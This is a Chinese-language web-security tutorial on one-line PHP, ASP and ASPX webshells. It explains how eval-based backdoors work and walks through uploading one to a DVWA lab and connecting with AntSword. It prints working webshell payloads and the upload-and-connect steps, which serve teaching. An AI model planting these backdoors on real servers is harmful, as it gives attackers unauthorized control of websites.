Web安全 // 一句话木马

前言

  在介绍一句话木马之前,我们先来简单了解一下 WebShell 的相关概念。

  Webshell 就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
  顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

  webshell 根据功能大致可分为大马、小马以及一句话木马。

在这里插入图片描述

一、概述

  顾名思义,一句话木马的代码极短,通常只有一句话。但这并不意味着它无关紧要,相反,它由于短小精悍,功能强大,隐蔽性非常好,在渗透入侵中始终扮演着强大的作用。常见的一句话木马有以下几种形式:

1
2
3
4
5
6
php的一句话木马:
<?php @eval($_POST['pass']);?>
asp的一句话木马:
<%execute(request("value"))%>
aspx的一句话木马:
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>

二、基本原理

  我们以最简单普遍的一句话木马 <?php @eval($_POST['pass']);?> 为例,来分析其组成。
  首先是 @ 符号,它在 PHP 中是一个错误控制运算符,当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都会被忽略掉。例如:

1
2
3
4
如果去掉了@符号,而又没有通过POST方法接收到pass变量
<?php eval($_POST['pass']);?>
服务器就会报一个提醒,类似于:Notice: Undefined index: pass in ......
原因在于我们使用了一个未定义的变量pass

  其次就是 eval() 函数,在 PHP 中 eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。例如:

1
2
3
4
5
6
7
8
9
示例一:
<?php eval("echo 'a';"); ?>
该语句等效于<?php echo 'a'; ?>

示例二:
<?php eval($_POST['pwd']); ?>
然后利用POST方法接受pwd变量,例如pwd=echo 'a';
以上语句就等效为<?php eval("echo 'a';"); ?>
即等效为<?php echo 'a'; ?>

  该函数是整个一句话木马的核心所在,简单来说,就是我们想要执行什么代码,就把什么代码放进变量 pwd 中,然后利用 POST 方法传输给一句话木马即可执行。

三、使用方法

  利用一句话木马结合 中国蚁剑中国菜刀 等工具,通过 文件上传漏洞 (文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将Webshell上传到服务器中进而执行利用)可以方便快捷的进行渗透。
  简单来说只要攻击者满足以下三个条件,就能实现成功渗透:
① 木马上传成功,未被杀;
② 知道木马的路径在哪;
③ 上传的木马能正常运行。

四、渗透测试

  我们可以通过 DVWA 平台来进行一个简单的渗透试验。

首先准备好我们的一句话木马文件

在这里插入图片描述

然后进入 DVWA 平台,将其安全级别设置为LOW

然后我们可以先查看一下在此安全级别下,文件上传漏洞的后台源码

在这里插入图片描述
可以看出,在此安全级别下后台对上传的文件没有任何限制与验证,因此我们可以直接上传我们的 php 一句话木马文件

在这里插入图片描述
可以看到文件上传成功后,平台会提示我们木马文件的保存路径,我们可以打开相关路径确认一下

在这里插入图片描述

接下来我们可以借助中国蚁剑来进行连接

右键蚁剑空白处选择添加数据,然后填写好相关信息,连接密码为一句话木马中的变量名,URL 地址为网站的主路径然后加上上传文件时平台回显的文件保存路径

在这里插入图片描述
连接成功后双击即可进入

在这里插入图片描述
在这里插入图片描述
可以看到,我们现在可以通过木马对磁盘中的任何文件进行访问甚至进行增删改查!至此,渗透测试成功。